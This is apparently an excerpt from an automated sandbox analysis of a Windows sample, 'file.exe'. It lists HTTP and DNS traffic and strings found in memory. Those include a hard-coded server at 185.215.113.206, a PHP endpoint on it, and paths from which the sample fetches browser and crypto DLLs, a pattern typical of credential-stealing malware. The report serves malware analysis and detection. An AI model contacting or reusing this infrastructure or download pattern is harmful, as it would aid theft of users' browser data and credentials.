Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000F41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php5
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpX
Source: file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpm
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phptware
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllRP
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dlleh
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllQ
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllrQ7
Source: file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllq
Source: file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206GDB
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_77.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2080218052.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2079320037.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_77.3.dr, chromecache_81.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_81.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000002.2079988567.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1669377238.0000000004B2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_81.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_77.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_77.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1857602646.000000001D15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Java
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1857602646.000000001D15D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: chromecache_81.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chromecache_77.3.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1968208955.0000000023397000.00000004.00000020.00020000.00000000.sdmp, KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2037523332.00000000001E4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usGF8aHBnbGZoZ2ZuaGJncGpk
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usWFwa21ibGlvYnwxfDB8MHxM
Source: file.exe, 00000000.00000003.1968208955.0000000023397000.00000004.00000020.00020000.00000000.sdmp, KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
